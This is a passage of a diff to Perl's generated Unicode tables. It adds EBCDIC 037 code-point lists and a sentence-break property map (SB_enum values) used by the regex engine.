+	0x1D456,
+	0x1D468,
+	0x1D482,
+	0x1D49C,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4B6,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D4D0,
+	0x1D4EA,
+	0x1D504,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D538,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D56C,
+	0x1D586,
+	0x1D5A0,
+	0x1D5BA,
+	0x1D5D4,
+	0x1D5EE,
+	0x1D608,
+	0x1D622,
+	0x1D63C,
+	0x1D656,
+	0x1D670,
+	0x1D68A,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6C2,
+	0x1D6DB,
+	0x1D6DC,
+	0x1D6E2,
+	0x1D6FB,
+	0x1D6FC,
+	0x1D715,
+	0x1D716,
+	0x1D71C,
+	0x1D735,
+	0x1D736,
+	0x1D74F,
+	0x1D750,
+	0x1D756,
+	0x1D76F,
+	0x1D770,
+	0x1D789,
+	0x1D78A,
+	0x1D790,
+	0x1D7A9,
+	0x1D7AA,
+	0x1D7C3,
+	0x1D7C4,
+	0x1D7CA,
+	0x1D7CB,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA88,
+	0x1DA89,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8D0,
+	0x1E8D7,
+	0x1E900,
+	0x1E922,
+	0x1E944,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1F130,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
+	0x1F170,
+	0x1F18A,
+	0x1F676,
+	0x1F679,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+#   endif	/* EBCDIC 037 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_REGEXEC_C)
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+typedef enum {
+	SB_Other = 0,
+	SB_ATerm = 1,
+	SB_CR = 2,
+	SB_Close = 3,
+	SB_Extend = 4,
+	SB_Format = 5,
+	SB_LF = 6,
+	SB_Lower = 7,
+	SB_Numeric = 8,
+	SB_OLetter = 9,
+	SB_SContinue = 10,
+	SB_STerm = 11,
+	SB_Sep = 12,
+	SB_Sp = 13,
+	SB_Upper = 14,
+	SB_EDGE = 15
+} SB_enum;
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const SB_enum _Perl_SB_invmap[] = { /* for EBCDIC 037 */
+	SB_Other,
+	SB_Sp,
+	SB_Other,
+	SB_Sp,
+	SB_CR,
+	SB_Other,
+	SB_Sep,
+	SB_Other,
+	SB_LF,
+	SB_Other,
+	SB_Sp,
 	SB_Lower,
+	SB_Other,
+	SB_ATerm,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Lower,
+	SB_STerm,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_SContinue,
+	SB_Other,
 	SB_Upper,
 	SB_Other,
+	SB_SContinue,
+	SB_Other,
+	SB_STerm,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_SContinue,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Upper,
+	SB_Lower,
+	SB_Close,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Upper,
+	SB_Format,
+	SB_Lower,
+	SB_Close,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Numeric,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_OLetter,
+	SB_Upper,
+	SB_Lower,
+	SB_OLetter,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_OLetter,
+	SB_Lower,
+	SB_OLetter,
+	SB_Lower,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_OLetter,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Extend,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_SContinue,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Format,
+	SB_Other,
+	SB_SContinue,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Format,
+	SB_Other,
+	SB_STerm,
+	SB_OLetter,
+	SB_Extend,
+	SB_Numeric,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_STerm,
+	SB_OLetter,
+	SB_Extend,
+	SB_Format,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Numeric,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_STerm,
+	SB_Other,
+	SB_Format,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_Numeric,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_SContinue,
+	SB_STerm,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Format,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_STerm,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Numeric,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Close,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Numeric,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Numeric,
+	SB_Extend,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_STerm,
+	SB_OLetter,
 	SB_Sp,
+	SB_OLetter,
+	SB_Close,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_SContinue,
+	SB_STerm,
+	SB_Other,
+	SB_SContinue,
+	SB_STerm,
+	SB_Other,
+	SB_Extend,
 	SB_Format,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
 	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
